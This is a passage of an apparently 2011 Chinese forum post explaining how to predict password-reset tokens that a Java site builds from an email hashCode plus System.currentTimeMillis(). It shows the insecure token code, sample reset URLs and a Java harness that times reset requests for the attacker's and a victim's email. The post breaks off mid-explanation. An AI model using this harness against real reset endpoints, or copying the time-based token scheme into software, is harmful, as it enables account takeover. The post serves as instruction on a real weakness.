管理员
|
阅读:4106回复:0
利用系统时间可预测破解java随机数
楼主#
更多
发布于:2011-10-22 08:30
| | | | 这是一个随机函数破解的经典例子。在java程序中,获取随机数的做法有多种。但是我们实现一个随机token,并用于认证时,通常第一时间,想起来使用“System.currentTimeMillis”,本文会详细讲解一次破解随机数的经过。正文:“System.currentTimeMillis”这个方法,返回从UTC 1970年1月1日午夜开始经过的毫秒数。执行结果,可能是类似“1315395175327”这样的数字,因为后面的几位,是毫秒,所以执行结果就好像“随机”一样。 今天遇到的一个系统,相关业务逻辑场景,是用于找回密码。首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户使用token,执行修改密码的这一步。 1、输入邮箱。 2、发送邮件给用户邮箱。 3、根据邮箱中的链接,修改密码 就是说,只要能破解了服务器给用户生成的token,就可以直接修改用户密码。 在生成token时,采用了这样一段代码:[pre] public String genToken(String email) {String token = email.hashCode() * 21 + System.currentTimeMillis() + "";return token;}[/pre] 从代码上可以看到,Email的hashcode,在用户的email固定的情况下,是不变的,那么这个不变的数字,即使乘以21,依然是不变的。只要知道了用户的email,就可以知道这个数字。 真正随机的只有System.currentTimeMillis() 这个方法貌似随机,条件允许的情况下,其实是可以破解的。利用系统时间可预测破解java随机数:根据以上流程,只要攻击者提交[pre] http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com[/pre] 就可以给攻击者的邮箱,发一封EMAIL。 ================ 你好,空虚浪子心: 请点击链接重置密码。该链接24小时内有效。 或将以下链接拷贝到浏览器地址栏中:[pre] http://www.inbreak.net/user/resetpassword.action?token=1315336352414[/pre] 该邮件由系统自动发送,请勿直接回复此邮件。 ============== 随后的那个token,就是随机生成的数字。同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email。如果服务器上的时间,和攻击者机器上执行的时间一致,在不考虑网络传输成本的前提下,是可以直接得到token的。 当然,这不可能。 但是好在我们的时间速度,和服务器的时间速度,基本一致。注意,这里讲的不是时间一致,是时间的速度一致,可能本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必然已经12点了。 我们的时间,和服务器时间,总是会相差一个数字。 网络速度,每次传输都不一致,第一次发出请求,可能用1.020秒,第二次,用0.921秒。 没关系,我们尽量让它变得可预测些。 在本地,写这样一段代码: =================[pre] public static void main(String[] args) throws IOException { System.out.println(i + 1); i++; System.out.println("------mystart"); System.out.println("4700012@qq.com ".hashCode() * 21 + System.currentTimeMillis()); sendPost("http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com"); System.out.println("4700012@qq.com".hashCode() * 21 + System.currentTimeMillis()); System.out.println("------myend"); System.out.println("------user start"); Long x = "10000@qq.com".hashCode() * 21 + System.currentTimeMillis(); System.out.println(x); sendPost("http://www.inbreak.net/user/findpassword.action?email=10000@qq.com"); Long y = "10000@qq.com ".hashCode() * 21 + System.currentTimeMillis(); System.out.println(y); System.out.println(y - x); System.out.println("------user end"); }=================代码流程,使用文字描述:1、 打印攻击者的开始时间。2、 发邮件给攻击者。
| | | | |
|